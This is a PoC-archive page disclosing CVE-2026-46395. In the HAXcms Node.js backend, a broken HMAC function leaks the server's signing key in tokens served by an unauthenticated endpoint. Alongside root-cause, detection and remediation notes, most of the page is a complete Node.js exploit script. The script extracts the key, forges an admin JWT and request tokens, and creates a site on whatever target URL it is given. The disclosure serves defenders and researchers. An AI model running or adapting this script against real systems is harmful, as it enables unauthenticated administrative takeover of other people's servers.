PoC Archive PoC Archive
Critical CVE-2026-46395 patched

HAXcms Node.js Private Key Disclosure via Broken HMAC (CVE-2026-46395)

by Shreyas Challa · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-46395
Category
web
Affected product
HAXcms Node.js backend (elmsln/HAXcms, haxcms-nodejs) — src/lib/HAXCMS.js
Affected versions
Releases prior to the upstream fix (per source repository)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherShreyas Challa
CVE / AdvisoryCVE-2026-46395
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1)
StatusPoC
Tagshaxcms, nodejs, hmac, jwt-forgery, cwe-321, cwe-200, key-disclosure, cms
RelatedCVE-2026-46394

Affected Target

FieldValue
Software / SystemHAXcms Node.js backend (elmsln/HAXcms, haxcms-nodejs) — src/lib/HAXCMS.js
Versions AffectedReleases prior to the upstream fix (per source repository)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

The hmacBase64() function in HAXcms’s Node.js backend contains two cryptographic flaws: it signs data with the hard-coded literal key "0" instead of the real signing key, and then appends the real key (privateKey + salt) in plaintext onto the returned token. Because the unauthenticated /system/api/connectionSettings endpoint returns several of these tokens, any attacker can fetch one, base64-decode it, discard the first 32 bytes (the meaningless HMAC digest), and read the server’s master signing secret directly — enabling forged admin JWTs and full administrative takeover.


Vulnerability Details

Root Cause

1
2
3
4
5
6
hmacBase64(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();  // key hard-coded to "0"
  var buf2 = Buffer.from(key);                                        // real key appended verbatim
  return Buffer.concat([buf1, buf2]).toString('base64')
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

The function is supposed to keyed-HMAC the data and return only the digest, but it signs with a constant instead of key, then concatenates the real key onto the output — leaking it in every token issued. The PHP backend implements the equivalent function correctly, producing a 44-character digest-only token, versus 139+ characters for the broken Node.js version — a visible tell.

Attack Vector

  1. Send an unauthenticated GET /system/api/connectionSettings to a HAXcms Node.js instance.
  2. Take any token in the response, base64url-decode it, and discard the first 32 bytes (the HMAC digest); the remaining bytes are the plaintext privateKey + salt.
  3. Use the recovered key to forge an admin-level JWT with jwt.sign(payload, privateKey+salt), and forge any other request tokens (user_token, form_token, etc.) that depend on the same key.
  4. Use the forged JWT/tokens to call authenticated endpoints (e.g. create/modify/delete sites) with full admin privileges.

Impact

Unauthenticated, single-request full administrative compromise of a HAXcms Node.js instance; forged tokens generate no login events, making the compromise difficult to detect via normal audit logs. Rotating the admin password does not remediate this, since the underlying signing key itself is exposed.


Environment / Lab Setup

Target:   HAXcms Node.js backend (haxcms-nodejs), served via node src/app.js on http://localhost:3000
Attacker: Node.js 16+, optional `jsonwebtoken` package for full JWT-forgery demonstration

Proof of Concept

PoC Script

See poc_hmac_key_leak.js (with package.json) in this folder.

1
2
npm install
node poc_hmac_key_leak.js http://localhost:3000

Performs the entire attack chain against a running instance end-to-end: fetches tokens from /system/api/connectionSettings, extracts and verifies the leaked key, forges an admin JWT and request tokens, then calls an authenticated endpoint (creating a site) to prove full administrative write access.


Detection & Indicators of Compromise

Tokens returned by /system/api/connectionSettings with length ~139+ characters (correct tokens are ~44 characters)

Signs of compromise:

  • Administrative actions (site creation/modification) with no corresponding login event in application logs
  • Unusually long tokens returned from /system/api/connectionSettings

Remediation

ActionDetail
Primary fixReplace hmacBase64() with a correct keyed HMAC that signs with the real key and returns only the digest; update to the latest HAXcms release
Interim mitigationImmediately rotate privateKey and salt on every deployed instance after patching, since prior tokens (in logs/history) already exposed the old key; all existing sessions/tokens must be invalidated

References


Notes

Mirrored from https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak on 2026-07-05.

poc_hmac_key_leak.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
#!/usr/bin/env node
/**
 * PoC: HAXcms Node.js — Private Key Disclosure via Broken HMAC (CWE-321, CWE-200)
 *
 * Vulnerable code: haxcms-nodejs/src/lib/HAXCMS.js lines 2158-2163
 *
 * Usage:  node poc_hmac_key_leak.js <target_url>
 * Example: node poc_hmac_key_leak.js http://localhost:3000
 */

const crypto = require('crypto');
const http = require('http');
const https = require('https');

const TARGET = process.argv[2] || 'http://localhost:3000';

// ── Helper: Reproduce the VULNERABLE hmacBase64 from HAXCMS.js:2158-2163 ──
function hmacBase64_vulnerable(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();
  var buf2 = Buffer.from(key);
  return Buffer.concat([buf1, buf2]).toString('base64')
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

// ── Helper: What a CORRECT hmacBase64 looks like (PHP version, HAXCMS.php:1619-1631) ──
function hmacBase64_correct(data, key) {
  return crypto.createHmac("sha256", key).update(data).digest('base64')
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

// ── Helper: Extract the private key embedded inside a broken HMAC token ──
function extractKeyFromToken(token) {
  const padded = token.replace(/-/g, '+').replace(/_/g, '/');
  const decoded = Buffer.from(padded, 'base64');
  const hmacPart = decoded.slice(0, 32);   // first 32 bytes = SHA-256 digest (useless, keyed with "0")
  const keyBytes = decoded.slice(32);      // remaining bytes = privateKey+salt IN PLAINTEXT
  return {
    hmac: hmacPart.toString('hex'),
    key: keyBytes.toString('utf8')
  };
}

function fetch(url) {
  return new Promise((resolve, reject) => {
    const mod = url.startsWith('https') ? https : http;
    mod.get(url, { rejectUnauthorized: false }, (res) => {
      let data = '';
      res.on('data', chunk => data += chunk);
      res.on('end', () => resolve(data));
    }).on('error', reject);
  });
}

function post(url, body) {
  return new Promise((resolve, reject) => {
    const parsed = new URL(url);
    const mod = parsed.protocol === 'https:' ? https : http;
    const postData = JSON.stringify(body);
    const opts = {
      hostname: parsed.hostname,
      port: parsed.port,
      path: parsed.pathname + parsed.search,
      method: 'POST',
      rejectUnauthorized: false,
      headers: {
        'Content-Type': 'application/json',
        'Content-Length': Buffer.byteLength(postData)
      }
    };
    const req = mod.request(opts, (res) => {
      let data = '';
      res.on('data', chunk => data += chunk);
      res.on('end', () => resolve({ status: res.statusCode, body: data }));
    });
    req.on('error', reject);
    req.write(postData);
    req.end();
  });
}

// ════════════════════════════════════════════════════════════════════
//  MAIN
// ════════════════════════════════════════════════════════════════════
async function main() {
  console.log('');
  console.log('================================================================');
  console.log('  HAXcms Node.js — Private Key Disclosure via Broken HMAC');
  console.log('  CWE-321 (Hard-Coded Crypto Key) + CWE-200 (Info Exposure)');
  console.log('  Vulnerable file: src/lib/HAXCMS.js  lines 2158-2163');
  console.log('================================================================');
  console.log('  Target: ' + TARGET);
  console.log('================================================================\n');

  // ────────────────────────────────────────────────────────────────
  //  STEP 1 — Fetch tokens from the UNAUTHENTICATED endpoint
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 1: Fetch /system/api/connectionSettings (NO AUTH)     │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  This endpoint is publicly accessible — it is listed in the');
  console.log('  JWT validation skip list at src/app.js. No cookies, no');
  console.log('  headers, no authentication of any kind is required.');
  console.log('');
  console.log('  Request:  GET ' + TARGET + '/system/api/connectionSettings');
  console.log('');

  const raw = await fetch(TARGET + '/system/api/connectionSettings');

  // Parse — could be JS (window.appSettings = {...};) or raw JSON
  let settings;
  const jsMatch = raw.match(/window\.appSettings\s*=\s*(\{[\s\S]*\});/);
  if (jsMatch) {
    settings = JSON.parse(jsMatch[1]);
  } else {
    try { settings = JSON.parse(raw); } catch(e) {
      console.log('  ERROR: Could not parse response.');
      console.log('  Raw (first 500 chars): ' + raw.substring(0, 500));
      process.exit(1);
    }
  }

  const token = settings.token
    || settings.getFormToken
    || (settings.appStore && settings.appStore.params && settings.appStore.params.appstore_token);

  if (!token) {
    console.log('  ERROR: No token found in response.');
    process.exit(1);
  }

  console.log('  Response received. Tokens found in the JSON body:');
  console.log('');
  console.log('    token:          ' + (settings.token || 'N/A'));
  console.log('    getFormToken:   ' + (settings.getFormToken || 'N/A'));
  if (settings.appStore && settings.appStore.params) {
    console.log('    appstore_token: ' + (settings.appStore.params.appstore_token || 'N/A'));
    console.log('    site_token:     ' + (settings.appStore.params.site_token || 'N/A'));
  }
  console.log('');
  console.log('  NOTE: A correctly implemented HMAC token would be ~44 chars');
  console.log('        (32 bytes base64-encoded). These tokens are ' + token.length + ' chars,');
  console.log('        which is the first visible indicator that extra data');
  console.log('        (the private key) is embedded in the token output.');
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 2 — Extract the private key from the token
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 2: Extract the private key from the token             │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  The vulnerable hmacBase64() function (HAXCMS.js:2158-2163)');
  console.log('  produces tokens with this structure:');
  console.log('');
  console.log('    base64url( [32 bytes: HMAC-SHA256 with key "0"]');
  console.log('               [N  bytes: privateKey+salt PLAINTEXT] )');
  console.log('');
  console.log('  To extract the key, we:');
  console.log('    1. Base64-decode the token');
  console.log('    2. Discard the first 32 bytes (the useless HMAC)');
  console.log('    3. Read the remaining bytes as UTF-8 — that is the key');
  console.log('');

  const { hmac, key } = extractKeyFromToken(token);

  if (key.length === 0) {
    console.log('  Token is exactly 32 bytes — key NOT leaked.');
    console.log('  This instance may be running the fixed version or PHP backend.');
    process.exit(1);
  }

  console.log('  Token decoded (' + Buffer.from(token.replace(/-/g,'+').replace(/_/g,'/'), 'base64').length + ' bytes total):');
  console.log('');
  console.log('    Bytes  0-31 (HMAC digest, keyed with "0"):');
  console.log('      ' + hmac);
  console.log('');
  console.log('    Bytes 32+  (privateKey + salt in PLAINTEXT):');
  console.log('      ' + key);
  console.log('');
  console.log('  RESULT: Private key successfully extracted!');
  console.log('  Key length: ' + key.length + ' characters');
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 3 — Verify the extracted key is correct
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 3: Verify the extracted key is correct                │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  We recompute the default token using our extracted key and');
  console.log('  the vulnerable hmacBase64() function, then compare it to');
  console.log('  the token the server returned.');
  console.log('');

  const recomputed = hmacBase64_vulnerable('', key);
  const serverToken = settings.token;

  console.log('  Server token:     ' + (serverToken || 'N/A'));
  console.log('  Recomputed token: ' + recomputed);
  console.log('');

  if (serverToken && recomputed === serverToken) {
    console.log('  MATCH — extracted key is correct.');
  } else if (!serverToken) {
    console.log('  (Server did not return a base "token" field; skipping comparison.)');
  } else {
    console.log('  WARNING: Tokens do not match — key may be partially incorrect.');
  }
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 4 — Forge an admin JWT using the stolen key
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 4: Forge an admin JWT using the stolen key            │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  HAXcms JWTs are signed with privateKey+salt (HAXCMS.js:2830):');
  console.log('    JWT.sign(payload, this.privateKey + this.salt)');
  console.log('');
  console.log('  The JWT payload requires:');
  console.log('    - id:   hmacBase64("user", key)  — the user request token');
  console.log('    - user: "admin"                  — the username');
  console.log('    - iat:  current timestamp');
  console.log('    - exp:  expiry timestamp');
  console.log('');

  let jwt;
  try {
    jwt = require('jsonwebtoken');
  } catch(e) {
    console.log('  ERROR: jsonwebtoken not installed. Run: npm install jsonwebtoken');
    console.log('  The key has been extracted — JWT forgery requires this module.');
    console.log('  Extracted key: ' + key);
    return;
  }

  const forgedId = hmacBase64_vulnerable('user', key);
  const now = Math.floor(Date.now() / 1000);
  const forgedPayload = {
    id: forgedId,
    user: 'admin',
    iat: now,
    exp: now + 900
  };

  console.log('  Forging JWT with payload:');
  console.log('    {');
  console.log('      id:   "' + forgedId.substring(0, 40) + '..."');
  console.log('      user: "admin"');
  console.log('      iat:  ' + now + ' (' + new Date(now * 1000).toISOString() + ')');
  console.log('      exp:  ' + (now + 900) + ' (' + new Date((now + 900) * 1000).toISOString() + ')');
  console.log('    }');
  console.log('');
  console.log('  Signing key: ' + key);
  console.log('');

  const forgedJWT = jwt.sign(forgedPayload, key);

  console.log('  Forged JWT:');
  console.log('    ' + forgedJWT);
  console.log('');

  // Decode to confirm
  const decoded = jwt.verify(forgedJWT, key);
  console.log('  JWT signature verified locally:');
  console.log('    user = ' + decoded.user);
  console.log('    exp  = ' + new Date(decoded.exp * 1000).toISOString());
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 5 — Forge request tokens needed by authenticated endpoints
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 5: Forge request tokens for authenticated endpoints   │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  Authenticated API calls also require HMAC request tokens:');
  console.log('    user_token  = hmacBase64("admin", key)');
  console.log('    base_token  = hmacBase64("", key)');
  console.log('    form_token  = hmacBase64("form", key)');
  console.log('');

  const userToken = hmacBase64_vulnerable('admin', key);
  const baseToken = hmacBase64_vulnerable('', key);
  const formToken = hmacBase64_vulnerable('form', key);

  console.log('  Forged tokens:');
  console.log('    user_token: ' + userToken);
  console.log('    base_token: ' + baseToken);
  console.log('    form_token: ' + formToken);
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 6 — Call authenticated endpoint to prove admin access
  // ────────────────────────────────────────────────────────────────
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 6: Call authenticated endpoint (listSites)            │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  Using the forged JWT and user_token to call /system/api/listSites.');
  console.log('  This endpoint requires admin authentication.');
  console.log('');

  const listUrl = TARGET + '/system/api/listSites?user_token=' + encodeURIComponent(userToken) + '&jwt=' + encodeURIComponent(forgedJWT);
  console.log('  Request: GET ' + TARGET + '/system/api/listSites');
  console.log('    ?user_token=' + userToken.substring(0, 30) + '...');
  console.log('    &jwt=' + forgedJWT.substring(0, 30) + '...');
  console.log('');

  const listResp = await fetch(listUrl);
  console.log('  Response (first 500 chars):');
  console.log('    ' + listResp.substring(0, 500));
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  STEP 7 — Create a site to prove full write access
  // ────────────────────────────────────────────────────────────────
  const siteName = 'pwned-' + Date.now();
  console.log('┌──────────────────────────────────────────────────────────────┐');
  console.log('│  STEP 7: Create a site to prove full admin write access     │');
  console.log('└──────────────────────────────────────────────────────────────┘');
  console.log('');
  console.log('  Calling POST /system/api/createSite with forged credentials');
  console.log('  to create site "' + siteName + '".');
  console.log('');

  const createUrl = TARGET + '/system/api/createSite?user_token=' + encodeURIComponent(userToken);
  const createResp = await post(createUrl, {
    jwt: forgedJWT,
    token: baseToken,
    site: { name: siteName },
    theme: 'clean-one',
    type: 'course'
  });

  console.log('  HTTP Status: ' + createResp.status);
  console.log('  Response:');
  console.log('    ' + createResp.body.substring(0, 500));
  console.log('');

  if (createResp.status === 200) {
    console.log('  SITE CREATED SUCCESSFULLY — full admin access confirmed.');
    console.log('  The site "' + siteName + '" now exists on disk at _sites/' + siteName + '/');
  } else {
    console.log('  Site creation returned status ' + createResp.status + '.');
    console.log('  Check if the server is running and accessible.');
  }
  console.log('');

  // ────────────────────────────────────────────────────────────────
  //  SUMMARY
  // ────────────────────────────────────────────────────────────────
  console.log('================================================================');
  console.log('  EXPLOIT SUMMARY');
  console.log('================================================================');
  console.log('');
  console.log('  Vulnerability:  Broken HMAC in hmacBase64() — HAXCMS.js:2158-2163');
  console.log('');
  console.log('  Bug 1 (line 2160):');
  console.log('    crypto.createHmac("sha256", "0")  ← key hardcoded to "0"');
  console.log('    Should be: crypto.createHmac("sha256", key)');
  console.log('');
  console.log('  Bug 2 (lines 2161-2163):');
  console.log('    Buffer.concat([hmacDigest, Buffer.from(key)])  ← key appended');
  console.log('    Should be: just return the HMAC digest, never include the key');
  console.log('');
  console.log('  Attack chain:');
  console.log('    1. GET /connectionSettings (no auth) → receive tokens');
  console.log('    2. Base64-decode any token → discard first 32 bytes → read key');
  console.log('    3. Use key to forge JWT (jwt.sign(payload, key))');
  console.log('    4. Use key to forge request tokens (hmacBase64(value, key))');
  console.log('    5. Call any authenticated API with forged credentials');
  console.log('');
  console.log('  Extracted key:  ' + key);
  console.log('  Forged JWT:     ' + forgedJWT.substring(0, 50) + '...');
  console.log('  Admin access:   ' + (createResp.status === 200 ? 'CONFIRMED' : 'CHECK MANUALLY'));
  console.log('');
  console.log('================================================================');
}

main().catch(err => {
  console.error('Error:', err.message);
  process.exit(1);
});